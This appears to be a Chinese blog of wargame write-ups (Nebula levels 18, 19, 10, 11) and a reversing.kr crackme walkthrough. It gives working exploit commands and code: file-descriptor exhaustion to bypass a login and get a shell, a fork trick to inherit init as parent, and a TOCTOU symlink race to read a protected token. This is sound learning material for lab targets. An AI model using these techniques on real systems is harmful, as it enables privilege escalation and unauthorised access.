    fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
    switch(c) {
      case 'd':
        globals.debugfile = fopen(optarg, "w+");
        if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
        setvbuf(globals.debugfile, NULL, _IONBF, 0);
        break;
      case 'v':
        globals.verbose++;
        break;
    }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
    char line[256];
    char *p, *q;

    q = fgets(line, sizeof(line)-1, stdin);
    if(q == NULL) break;
    p = strchr(line, '\n'); if(p) *p = 0;
    p = strchr(line, '\r'); if(p) *p = 0;

    dvprintf(2, "got [%s] as input\n", line);

    if(strncmp(line, "login", 5) == 0) {
      dvprintf(3, "attempting to login\n");
      login(line + 6);
    } else if(strncmp(line, "logout", 6) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      }
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);
    }
  }

  return 0;
}

看到这段长长的C代码就感到心累啊，其实这段代码的框架是标准的Linux命令行程序，模拟了一个小小的shell。

解释一下程序大的框架：直接看main函数，程序启动后通过getopt()解析参数，含参参数d和不含参参数v，d参数后面跟着的参数为文件路径，而v则让全局结构体中verbose变量自增。之后进入无限循环，从标准输入中获取输入（要求\r\n结尾），对于输入执行相关函数或操作。之后看宏定义：两个宏用于调试输出，而全局结构体中的verbose就是指定调试等级的，所有调试内容会输出到刚才d参数后的参数指定的路径中。

反汇编程序后找到一个突破口在login函数中：

0x08048c50 <+0>:    sub    $0x6c,%esp
0x08048c53 <+3>:    mov    %ebx,0x60(%esp)
0x08048c57 <+7>:    mov    %edi,0x68(%esp)
0x08048c5b <+11>:   mov    0x70(%esp),%edi
0x08048c5f <+15>:   mov    %gs:0x14,%eax
0x08048c65 <+21>:   mov    %eax,0x5c(%esp)
0x08048c69 <+25>:   xor    %eax,%eax
0x08048c6b <+27>:   mov    %esi,0x64(%esp)
0x08048c6f <+31>:   movl   $0x8048fba,0x4(%esp)
0x08048c77 <+39>:   movl   $0x8048ef0,(%esp)
0x08048c7e <+46>:   call   0x8048750 <fopen@plt>
0x08048c83 <+51>:   test   %eax,%eax
0x08048c85 <+53>:   mov    %eax,%ebx
0x08048c87 <+55>:   je     0x8048cb5 <login+101>
0x08048c89 <+57>:   lea    0x1c(%esp),%esi
0x08048c8d <+61>:   mov    %eax,0x8(%esp)
0x08048c91 <+65>:   movl   $0x3f,0x4(%esp)
0x08048c99 <+73>:   mov    %esi,(%esp)
0x08048c9c <+76>:   call   0x8048670 <fgets@plt>
0x08048ca1 <+81>:   test   %eax,%eax
0x08048ca3 <+83>:   je     0x8048d18 <login+200>
0x08048ca5 <+85>:   mov    %esi,0x4(%esp)
0x08048ca9 <+89>:   mov    %edi,(%esp)
0x08048cac <+92>:   call   0x8048640 <strcmp@plt>
0x08048cb1 <+97>:   test   %eax,%eax
0x08048cb3 <+99>:   jne    0x8048cf4 <login+164>
0x08048cb5 <+101>:  mov    0x804b0ac,%edx
0x08048cbb <+107>:  test   %edx,%edx
0x08048cbd <+109>:  je     0x8048cea <login+154>
0x08048cbf <+111>:  mov    $0x8048f50,%eax
0x08048cc4 <+116>:  test   %ebx,%ebx
0x08048cc6 <+118>:  mov    $0x8048fa0,%ecx
0x08048ccb <+123>:  cmovne %ecx,%eax
0x08048cce <+126>:  mov    %eax,0xc(%esp)
0x08048cd2 <+130>:  movl   $0x8048fe0,0x8(%esp)
0x08048cda <+138>:  movl   $0x1,0x4(%esp)
0x08048ce2 <+146>:  mov    %edx,(%esp)
0x08048ce5 <+149>:  call   0x8048770 <__fprintf_chk@plt>
0x08048cea <+154>:  movl   $0x1,0x804b0b4
0x08048cf4 <+164>:  mov    0x5c(%esp),%eax
0x08048cf8 <+168>:  xor    %gs:0x14,%eax
0x08048cff <+175>:  jne    0x8048d43 <login+243>
0x08048d01 <+177>:  mov    0x60(%esp),%ebx
0x08048d05 <+181>:  mov    0x64(%esp),%esi
0x08048d09 <+185>:  mov    0x68(%esp),%edi
0x08048d0d <+189>:  add    $0x6c,%esp
0x08048d10 <+192>:  ret    
0x08048d11 <+193>:  lea    0x0(%esi,%eiz,1),%esi
0x08048d18 <+200>:  mov    0x804b0ac,%eax
0x08048d1d <+205>:  test   %eax,%eax
0x08048d1f <+207>:  je     0x8048cf4 <login+164>
0x08048d21 <+209>:  movl   $0x8048ef0,0xc(%esp)
0x08048d29 <+217>:  movl   $0x8048fbc,0x8(%esp)
0x08048d31 <+225>:  movl   $0x1,0x4(%esp)
0x08048d39 <+233>:  mov    %eax,(%esp)
0x08048d3c <+236>:  call   0x8048770 <__fprintf_chk@plt>
0x08048d41 <+241>:  jmp    0x8048cf4 <login+164>
0x08048d43 <+243>:  call   0x8048690 <__stack_chk_fail@plt>

结合C程序一起看：

fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
                fclose(fp);
    if(strcmp(pw, file) != 0) return;    
  }
  dprintf("logged in successfully (with%s password file)\n", 
    fp == NULL ? "out" : "");

  globals.loggedin = 1;

如果if判断为假，就可以直接把全局结构体中的登陆信息设置为1。查阅fopen后可知当文件无法打开时会返回NULL，所以可以想办法让文件无法打开。和反汇编程序对比，可以看到，fclose(fp)在实际程序中并不存在，也就是文件句柄打开后并不关闭。系统中每个进程可以打开的文件句柄是有限的，当超出限制，资源枯竭，就会返回NULL。因此可以想办法让句柄资源枯竭。

Linux系统中的可以通过以下方式查看当前打开文件句柄和最大可打开句柄：

cat /proc/sys/fs/file-nr
cat /proc/sys/fs/file-max

但是一般来说，系统会对每个用户的进程作出资源的限制。可以使用ulimit查看限制后的资源情况：

level18@nebula:/home/flag18$ ulimit -Hn
4096
level18@nebula:/home/flag18$ ulimit -Sn
1024

可以看到，文件句柄数量硬阈值设定为4096，但对于当前用户只有1024。换句话说，创建1024个文件句柄后就不能再创建了。

那程序本身会占用多少文件句柄呢？这里我们可以先做个试验，首先运行flag18，并进入调试模式，调试等级最高（因为我们需要调试信息）：

level18@nebula:/home/flag18$ ./flag18 -d /tmp/dbg17 -vvv
login level18

输入login level18并回车，此时理论上应该打开了1个密码文件和1个调试信息文件。但是，当我们切换到TTY2并采用root登陆后（具体方法见level07），使用lsof查看进程句柄信息：

root@nebula:~# lsof -c flag18
COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
flag18  11848 flag18  cwd    DIR   0,18      100  13132 /home/flag18
flag18  11848 flag18  rtd    DIR   0,18      260   6744 /
flag18  11848 flag18  txt    REG    7,0    12216  12922 /home/flag18/flag18
flag18  11848 flag18  mem    REG    7,0  1544392  44973 /lib/i386-linux-gnu/libc-2.13.so
flag18  11848 flag18  mem    REG    7,0   126152  44978 /lib/i386-linux-gnu/ld-2.13.so
flag18  11848 flag18    0u   CHR  136,0      0t0      3 /dev/pts/0
flag18  11848 flag18    1u   CHR  136,0      0t0      3 /dev/pts/0
flag18  11848 flag18    2u   CHR  136,0      0t0      3 /dev/pts/0
flag18  11848 flag18    3u   REG   0,19       80 362729 /tmp/dbg17
flag18  11848 flag18    4r   REG   0,17       31 344165 /home/flag18/password

可以看到，文件实际打开了5个文件句柄，除了刚才说到的两个，还有标准输入、标准输出和错误输出。也就是说对于文件句柄，程序本身占有3个，flag18程序因为调试占有1个，剩下的1024-3-1=1020才是给密码文件的，也就是至少1021个密码文件的打开才能fopen()失效。于是构造如下命令：

python -c 'print "login level8\r\n"*1021' | ~flag18/flag18 -d /tmp/dbg17 -vvv

查看一下调试文件：

level18@nebula:/home/flag18$ cat /tmp/dbg17 | tail
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
logged in successfully (without password file)
got [] as input

可以发现已经登录成功了。下面我们就要调用shell参数：

level18@nebula:/home/flag18$ python -c 'print "login level8\r\n"*1021+"shell\r\n"' | ~flag18/flag18 -d /tmp/dbg17 -vvv
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24

利用资源极限这种方式，虽然绕过了登录，却没有办法再创建shell，不过幸好程序本身给我们提供了closelog，所以我们只需要创建1021个文件绕过登录，之后关闭1个句柄，再打开shell就可以了，于是构造如下命令：

python -c 'print "login level8\r\n"*1021+"closelog\r\nshell\r\n"' | ~flag18/flag18 -d /tmp/dbg17 -vvv

执行后shell返回：

flag18 -d /tmp/dbg17 -vvv
/home/flag18/flag18: -d: invalid option
Usage:  /home/flag18/flag18 [GNU long option] [option] ...
    /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
    --debug
    --debugger
    --dump-po-strings
    --dump-strings
    --help
    --init-file
    --login
    --noediting
    --noprofile
    --norc
    --posix
    --protected
    --rcfile
    --restricted
    --verbose
    --version
Shell options:
    -irsD or -c command or -O shopt_option      (invocation only)
    -abefhkmnptuvxBCHP or -o option

这其实是sh本身的问题，因为它把后面的那些命令也认为是它的参数了，而它没有-d参数，所以报错。这里用--init-file参数可以让它忽略后面的参数。重新构造命令：

python -c 'print "login level18\r\n"*1021+"closelog\r\nshell\r\n"' | ~flag18/flag18 --init-file -d /tmp/dbg17 -vvv &>/tmp/log17

这里我把整个shell中的输出都放到/tmp/log17中是为了便于查看，shell本身窗口太小了。查阅log17文件发现：

/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/dbg17: line 1: Starting: command not found
/tmp/dbg17: line 2: got: command not found
/tmp/dbg17: line 3: attempting: command not found
/tmp/dbg17: line 4: got: command not found
/tmp/dbg17: line 5: attempting: command not found
/tmp/dbg17: line 6: got: command not found
...

开头调用了Starting和got命令，但是两个命令都不存在。那就构造一个命令，这样就能利用漏洞了（/tmp目录下）：

echo "/bin/getflag" > Starting && chmod +x Starting
PATH=/tmp:$PATH

再次执行后查看结果：

level18@nebula:/tmp$ cat /tmp/log17 | head -20
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
You have successfully executed getflag on a target account
/tmp/dbg17: line 2: got: command not found

这样第一种方法已经实现。其他方法待续……

Nebula level19

There is a flaw in the below program in how it operates.

下面的程序执行方式有漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
    printf("Unable to check parent process\n");
    exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
    /* If root started us, it is ok to start the shell */

    execve("/bin/sh", argv, envp);
    err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

首先还是分析程序执行流程：程序启动后调用getppid()函数获取父进程id，之后查找/proc下该id进程是否属于root，如果是root的，则可以根据参数执行shell命令。

首先去/proc下面看看哪些进程属于root，注意到/proc/1。回想一下Linux进程机制，在父进程创建子进程后，如果父亲在子进程退出前因为种种原因结束了，那子进程就归pid=1的init进程管理了。而init是属于root，所以，我们可以设计一个程序，启动子进程后立马退出，这样子进程的新父进程就是init了：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    pid_t p;
    p = fork();
    if (p == 0) //child
    {
        sleep(1);
        execl("/home/flag19/flag19", "/bin/sh", "-c", "/bin/getflag > /tmp/flag19.txt", NULL);
    }
    else if(p > 0) //parent
        exit(0);

    return 0;
}

其中让子进程等待一秒后运行指令，保证父进程退出并让init接管。sh的-c参数用于将输入参数作为指令代替标准输入。

Voila！全部搞定！

后记

开始玩Nebula之后无法自拔，天天深陷其中，可能这就是所谓的痴迷吧。

刚做Nebula的时候觉得真的好简单，以为三四天就能完成，很可惜到后面越做越慢，很多周边知识都是边查边补充，碰到不懂得可能就得完整的系统的学习，用了不少时间，但是非常值得。

虽然现在20道题都已经完成，但是有些题目的方法还比较局限，待我学会高级的技巧后，会再回来补充一些思路或方案。

希望这20道题的Writeup能给你帮助。如果你已经完成，那就和我一起进军下一个级别的挑战！

reversing.kr Replace Walkthrough

2014-09-13T20:18:00-07:00

黑盒实验

拿到程序后运行，出现一个包含输入框对话框，不能输入字母和特殊符号，只能输入0-9这10个数字。

尝试输入数字提交后，程序崩溃。连续实验了几次都一样，包括留空提交。一开始以为是兼容性问题，用兼容模式尝试运行，结果仍然一样。

调试和分析

首先查壳，拖入PEiD，Microsoft Visual C++ 6.0，无壳。

拖入OD，查找Name，根据只能输入数字为线索，找到GetDlgItemInt，跟到代码，下断。程序跑起来，输入任意数字后单步步过运行，逐渐缩小范围，多次测试后找到使程序崩溃的地方——call Replace.0040466F，进去看程序代码：

0040466F   $  C600 90                     mov byte ptr ds:[eax],0x90
00404672   ?  C3                          retn
00404673   ?  0081 05D08440               add byte ptr ds:[ecx+0x4084D005],al

这段代码做了一件很好玩的事：把1个byte的0x90填充到ds:[eax]处。ds:[eax]说明这个具体的位置是根据当时eax寄存器的值确定的，0x90如果在数据段就是个不可打印的数据，而在代码段则是NOP指令。这里的设想一定要大胆，很可能这段话是用来填充代码段的——也就是说，为了“废掉”某个或者某段指令（当然NOP在Exploit的时候很可能做为模糊跳转技术中的缓冲）。不过目前状态eax的值不在ds指向的范围内，因此造成程序崩溃。

虽然现在找出了崩溃点，不过貌似没什么作用，我们重新加载程序起来，输入123456，还是断在刚才的地方：

00401050   .  6A 00         push 0x0                                 ; /IsSigned = FALSE
00401052   .  6A 00         push 0x0                                 ; |pSuccess = NULL
00401054   .  68 EA030000   push 0x3EA                               ; |ControlID = 3EA (1002.)
00401059   .  56            push esi                                 ; |hWnd
0040105A   .  FF15 9C504000 call dword ptr ds:[<&USER32.GetDlgItemIn>; \GetDlgItemInt
00401060   .  A3 D0844000   mov dword ptr ds:[0x4084D0],eax
00401065   .  E8 05360000   call Replace.0040466F
0040106A   .  33C0          xor eax,eax
0040106C   .  E9 1F360000   jmp Replace.00404690
00401071   >  EB 11         jmp XReplace.00401084
00401073   .  68 34 60 40 0>ascii "h4`@",0                           ;  Correct!
00401078   .  68 E9030000   push 0x3E9                               ; |ControlID = 3E9 (1001.)
0040107D   .  56            push esi                                 ; |hWnd
0040107E   .  FF15 A0504000 call dword ptr ds:[<&USER32.SetDlgItemTe>; \SetDlgItemTextA

大致看一下这段代码，获取输入数据后call一次，jmp2次之后就到了Correct提示的地方。这个大致的代码分布记在心中，继续往下分析。

可以看到在GetDlgItemInt后把值写到了ds:[0x4084D0]，长度为dword。在数据窗口跳转到这个地址（可以在数据上下内存断点做监控）：

004084D0  40 E2 01 00 00 00 00 00 00 00 00 00 00 00 00     @?.............

发现写入值为01E240（就是16进制的123456）。这里注意几点，第一是存储的顺序为little-endian，第二是因为读入的是int所以长度为dword，第三直接存储了这个数字而没有转化成字符串。

之后进入一个函数call Replace.0040466F，跟进去：

0040466F   $  E8 06000000   call Replace.0040467A
00404674      81            db 81
00404675   .  05 D0844000   add eax,Replace.004084D0
0040467A   .  C705 16604000>mov dword ptr ds:[0x406016],0x619060EB
00404684   .  E8 00000000   call Replace.00404689
00404689  /$  FF05 D0844000 inc dword ptr ds:[0x4084D0]
0040468F  \.  C3            retn

可以看到0040466F的函数用call的办法跳转到了0040467A（call当jmp用），这样反汇编器在反汇编的时候会从0040467A这个地址开始汇编，而被截断处前面这段机器码由于无法构成一个或几个完整的指令，因此被反汇编成了一个数据（db 81）+一句指令。之后程序把0x619060EB这个立即数写入ds:[0x406016]，似乎没什么用。之后又通过call来当jmp来用，跳转到下面一句话，刚才在ds:[0x4084D0]保存的值自增1。之后retn又跳回00404689再执行一遍自增。之后再retn，此时return到了00404674。

但是00404674是db 81啊，不是指令！对，这就是这题最有意思的地方，一段机器码用不同的方式解析，得到不同的运行结果。此时需要让OD重新理解一下这段代码，在00404674上BackSpace，此时，还是上面那段机器码，但反汇编代码变成了这样：

0040466F   $  E8 06000000   call Replace.0040467A
00404674      8105 D0844000>add dword ptr ds:[0x4084D0],0x601605C7
0040467E   ?  40            inc eax
0040467F   ?  00EB          add bl,ch
00404681   ?  60            pushad
00404682   ?  90            nop
00404683   ?  61            popad
00404684   .  E8 00000000   call Replace.00404689
00404689  /$  FF05 D0844000 inc dword ptr ds:[0x4084D0]
0040468F  \.  C3            retn

这段代码把ds:[0x4084D0]里面的值加了0x601605C7，之后这些指令似乎没作用，到00404689完成自增，retn，再自增，然后这个奇怪的函数总算返回了。

还记得上面说过的两个jmp吗？现在进入第一个jmp：

00404690   > \A1 D0844000   mov eax,dword ptr ds:[0x4084D0]
00404695   .  68 9F464000   push Replace.0040469F
0040469A   .  E8 EAFFFFFF   call Replace.00404689
0040469F   .  C705 6F464000>mov dword ptr ds:[0x40466F],0xC39000C6
004046A9   .  E8 C1FFFFFF   call Replace.0040466F
004046AE   .  40            inc eax
004046AF   .  E8 BBFFFFFF   call Replace.0040466F
004046B4   .  C705 6F464000>mov dword ptr ds:[0x40466F],0x6E8
004046BE   .  58            pop eax
004046BF   .  B8 FFFFFFFF   mov eax,-0x1
004046C4   .^ E9 A8C9FFFF   jmp Replace.00401071

首先取出ds:[0x4084D0]中的值放入eax，之后又跳到前面那个ds:[0x4084D0]自增的地方，自增了1次。接着执行0040469F，这句指令把0xC39000C6写入ds:[0x40466F]，0x40466F就是前面程序崩溃的地址啊！也就是说，ds:[0x40466F]处是代码（数据段当代码段执行），所以0xC39000C6其实是当做指令来使用的（0xC39000C6就是让程序崩溃的那段程序的机器码），果然之后马上call了0040466F。然后eax增1，再call 0040466F，再把0x6E8放入ds:[0x40466F]（依然是当做指令执行的数据，替换崩溃代码）。之后善后返回到00401071。

这里先不要执行，顺一下思路：此处取出ds:[0x4084D0]中的内容到eax后，执行崩溃函数，然后eax=eax+1，再执行崩溃函数。而前面分析崩溃函数可以用来抹去代码段中一个byte，这里调用两次就是2byte。回去看获取用户输入后的那段代码：

...
00401071   >  EB 11         jmp XReplace.00401084
...

这是第二个jmp，两个字节机器码，目前这个jmp返回后就会执行这个00401071的jmp，而这个jmp把我们原来可以顺序执行到的Correct给绕开了！所以，我们要“废掉”这个jmp。于是乎，回到EIP所在位置，之后把eax改成00401071（第二个jmp的地址），执行后跳回00401071，这个时候程序变成了：

00401071   > /90            nop
00401072   ? |90            nop
00401073   . |68 34 60 40 0>ascii "h4`@",0                           ;  Correct!
00401078   . |68 E9030000   push 0x3E9                               ; |ControlID = 3E9 (1001.)
0040107D   . |56            push esi                                 ; |hWnd
0040107E   . |FF15 A0504000 call dword ptr ds:[<&USER32.SetDlgItemTe>; \SetDlgItemTextA
00401084   > |B8 01000000   mov eax,0x1
00401089   . |90            nop

第二个可恶的jmp被成功干掉，并顺利执行了Correct！

到这里就快成功了！下面我们需要做很重要的一步，让程序自己算出正确的eax并完成整个逻辑，最终弹出正确的提示。

回过头完整整理一下程序流程：获取用户输入 --> 存入ds:[0x4084D0]（命名为a） --> a=a+2 --> a=a+0x601605C7 --> a=a+2 --> a作为目标地址（0x00401071）抹去2个byte --> Done！所以我们需要算出a，a+4+0x601605C7=0x00401071。注意，这里的a的长度是dword，也就是unsigned int。打开calc，算出a为FFFFFFFFA02A0AA6，截取后32bit得到A02A0AA6，转到十进制为2687109798。重新打开程序，输入并获得Correct！

总结

这题个人感觉还是非常有意思的，不光一段机器码反复利用，还直接把数据当代码解释（可用于动态生成代码执行）。

这里还有一个细节：为何代码会被反复调用两次。答案很简单，因为利用call当jmp使用还是和直接jmp有区别的，每次call会使得返回地址压栈，因此执行到retn的时候会跳到call之后的语句再执行一遍（这个技巧不知道会不会用于编译器的优化，但是很可能会用于外壳的编写）。

另外这道题花费时间较长，超过前4个Easy题所用的时间的总和。虽然我写出来的时候逻辑还算是比较简单和清晰的，但实际需要反复调试很多次来理清思路。所以，逆向的Debug是个脑力活，也是体力活T^T。

Exploit Exercises Nebula level10-14 Writeup

2014-09-12T22:14:00-07:00

Nebula level10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

具有SetUID功能的二进制文件flag10在满足access()系统调用的条件下可以上传任何给定文件。

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
    int fd;
    int ffd;
    int rc;
    struct sockaddr_in sin;
    char buffer[4096];

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

    fd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(host);
    sin.sin_port = htons(18211);

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
      printf("Unable to connect to host %s\n", host);
      exit(EXIT_FAILURE);
    }

#define HITHERE ".oO Oo.\n"
    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
      printf("Unable to write banner to host %s\n", host);
      exit(EXIT_FAILURE);
    }
#undef HITHERE

    printf("Connected!\nSending file .. "); fflush(stdout);

    ffd = open(file, O_RDONLY);
    if(ffd == -1) {
      printf("Damn. Unable to open file\n");
      exit(EXIT_FAILURE);
    }

    rc = read(ffd, buffer, sizeof(buffer));
    if(rc == -1) {
      printf("Unable to read from file: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

    write(fd, buffer, rc);

    printf("wrote file!\n");

  } else {
    printf("You don't have access to %s\n", file);
  }
}

看到这长长一段C代码……眼前出现“蛋疼”2字，不过题还是要做的，不打小怪兽，怎么当奥特曼？

程序逻辑还是很简单，两个参数，第一个是文件路径，第二个是主机ip。程序通过access验证给定路径的文件是否有读取权限，如果有则对指定ip主机的18211端口发送一个HITHERE的字符串（话说上次给Github的大神写邮件人家也是那么打招呼的……），如果发送成功，就读取文件内容之后发送。

flag10的home目录下有flag10程序和token文件，token对level10没有读取权限。看来又是要绕开权限去读取token的内容。但是应该如何做呢？在翻看了access()的man手册后发现那么一句话：

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

access()验证权限是有风险的，因为在你验证文件和真正open文件的间隙，文件很可能会被利用！

这个Warning绝对是个完美的Tip，顺顺思路：建立一个假的token文件（有权限读的），然后创建一个软连接指向这个文件。通过验证后利用短暂的间隙，把软连接指向真正的token，这样就狸猫换太子了~

有了思路，如何实现呢？nc可以创建监听，但是没法在nc的途中快速修改软连接指向（毕竟nc是独占的，无法返回）。于是想到了python。which python一下，果然装了python，再python -V，发现python版本2.7.2。直接vim写下python代码（server.py）：

#! /usr/bin/python
import os
from socket import *

HOST = ''
PORT = 18211
BUFSIZ = 4096
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
    print 'waiting for connection...'
    tcpCliSock, addr = tcpSerSock.accept()
    print 'connected!'

    while True:
        data = tcpCliSock.recv(BUFSIZ)
        if not data:
            break
        if data == '.oO Oo.\n':
            print 'get it baby!'
            os.system('ln -fs /home/flag10/token /home/level10/token')
    tcpCliSock.close()
tcpSerSock.close()

退出后使用python server.py让脚本跑起来。这里需要注意的是，对于软连接使用了-f参数，这样可以强制覆盖已经存在的同名软连接文件。之后Ctrl+Alt+F2切换到TTY2，在level10家目录下执行：

touch fake_token
ln -s fake_token token

这样文件就伪造好了，然后执行flag10：

/home/flag10/flag10 ~/token 127.0.0.1

完毕后Ctrl+Alt+F1切回TTY1看结果，615a2ce1-b2b5-4c76-8eed-8aa5c4015c27，用这个作为密码登陆flag10并getflag即可。

这里需要留意的是，因为CPU的执行方式是时间片，因此每个进程只有在自己的CPU时间内才能执行相应的指令，也正是因为这个原因，指令的执行之间才有了等待，并有了其他程序执行的可能性。很可能当CPU执行速度过快的时候，你的py程序还没来得及修改软连接，flag10就已经执行到最后了，因此无法读取到正确的token。这时你可以多试验几次，或者想办法降低flag10的优先级（nice可以修改进程优先级），提高py脚本的优先级，以确保py脚本可以替换掉软连接。

Nebula level11

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both :-)

flag11会处理标准输入，同时执行一个shell命令。本关有两种方法。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
    'A' + (random() % 26), '0' + (random() % 10), 
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }  

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }

}

这题是整个Nebula中最纠结的一题之一，最主要原因是因为代码和二进制程序不符……我查阅了Google中前几页基本所有的Nebula level11的解题思路，发现能作出结果的代码都是Nebula的新LiveCD之前的。所以这里，我们先回到原本的程序。先将上面的代码用root编译，命名成flag11_old，并修改文件权限、所有者、所有组等和flag11一致，然后开始下面的步骤。

首先映入眼帘的是比前面一次更长的代码-_-||| 不过好在代码逻辑还是比较清晰的。这里既然要执行shell，就会定位到system()，而这样就必须要调用process()。可以看到调用发生在main()的第三个if中。所谓的两种方法可能是指走不同的逻辑去执行process()。

观察一下走if为true的这条线：

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
        err(1, "fread length");
    }
    process(buf, length);
}

第一个条件length < sizeof(buf)很简单，可是，fread()只会返回0或1，也就是说我们要执行的指令只能是1个字节的。但回车也会占用1个字节，我们可以做个试验：

level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1

sh: $'\v\020\367': command not found
level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1

sh: $'\vP\241': command not found

可以看到，这样对于获取到了buf的内容完全是随机的。如果我们输入一个单字符命令，比如X，根据process()中的代码，命令X会变为Y，之后进入system()执行。测试一下：

level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1
X
sh: $'Y\020\321': command not found

可以看到X命令被当做Y命令执行，但由于已经占用了一个字符，则没有办法输入回车。这里可以用一个拼运气的办法，不断测试，直到碰到内存中有0x0A（回车）从而获得运行：

level11@nebula:/tmp$ ln -s /bin/getflag Y
